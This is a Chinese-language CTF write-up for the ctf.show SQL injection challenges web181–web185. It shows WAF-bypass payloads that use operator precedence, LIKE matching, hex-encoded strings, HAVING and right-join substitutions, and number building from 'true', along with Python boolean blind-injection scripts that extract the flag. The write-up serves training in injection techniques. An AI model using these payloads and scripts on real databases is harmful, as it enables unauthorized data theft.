web181
这里终于显示了waf
就是把空格过滤了很多,select和文件写入也被过滤了
这里还可以用sql语句中运算符的优先级来做
这个是chatgpt里的解释
这里我们主要用到and的优先级比or高
可以看到源代码里面有and可以在and后面加or使其
在执行了and以后 or的前后都执行
所以构造payload
-1'||username='flag
也可以使用上题万能密码的构造
-1'or(id=26)and'1
web182
相比上题多了flag的过滤
万能语句还是能用
但是借鉴了一下别的大佬也可以
用like可以模糊匹配
关于like模糊匹配用法可以参考这篇SQL模糊查询【like】的四种匹配模式
payload
-1'||(username)like'%fla%
-1'||(username)like'f___
web183
根据代码要求post一下表名 这题是在已知表名的情况下得出的
tableName=ctfshow_user
返回了22
select不能用,就只能选择布尔盲注或者时间盲注了
可以结合模糊匹配like或者正则匹配regexp
因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;
如果找不到就会返回0
可以根据这个用布尔盲注
先构造payload测试一下
tableName=(ctfshow_user)where(pass)like'ctfshow%'
成功
运行脚本
import requests
url = "http://14b5193a-4343-4ecc-9587-370df28732b0.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
res = requests.post(url=url, data=data)
if "$user_count = 1" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
web184
过滤的有点多,where、单双引号、反引号都被过滤了,但是本题没有过滤空格。
单双引号可以用 括号+十六进制。
十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
ctfshow% 16进制编码后--> 0x63746673686f7725
where可以用having替换 查看官方文档,看看select语法。发现having和where可以替换,但是having语句有使用条件
一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。
测试语句
ctfshow_user group by pass having pass like 0x63746673686f777b25
成功了
f2
也可以用"right join"(右连接)
ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725#ctfshow% 16进制编码后--> 0x63746673686f7725
#把ctfshow_user取别名为a 又把其取别名为b 查询表ctfshow_user里pass列的ctfshow%
跑脚本
# 导入所需的模块
import requests
import binascii
# 定义一个将字符串转换为十六进制的函数
def to_hex(s):
# 使用 binascii.b2a_hex 将字符串编码为十六进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
# 将字节转换为字符串
str_16 = bytes.decode(str_16)
# 处理结果的格式,去掉开头的 "b'" 和结尾的 "'"
res = str_16.replace("b'","").replace("'","")
return res
# 目标 URL
url = "http://84fccdaa-baeb-4998-b478-fe8594d9ee61.challenge.ctf.show/select-waf.php"
# 字符串定义
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" # 可能的字符集
flag = "ctfshow" # 初始 flag 值
for i in range(0,666): # 循环次数
for j in str: # 遍历字符集合中的每个字符
# 构造要发送的十六进制字符串
result = "0x" + to_hex(flag + j + "%")
# 构造 POST 请求数据
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
# 发送 POST 请求
res = requests.post(url=url, data=data)
# 检查响应内容
if "$user_count = 43" in res.text: # 如果条件成立
flag += j # 将当前字符添加到 flag 中
print(flag) # 打印当前 flag
if j == "}": # 如果当前字符是 '}',则结束循环
exit()
break # 跳出内层循环继续下一次循环
web185
多过滤了数字
过滤了 sql里面可以用true
true=1
true+true=2,所以通过相加,任何数字我们都可以构造出来
def createNum(n):
num = 'true'
if n==1:
return 'true'
else:
for i in range(n-1):
num += '+true'
return num
#定义一个创造数字的函数
构造出数字可以通过ASCII码转化构造出字母 再通过concat()函数拼接为字符串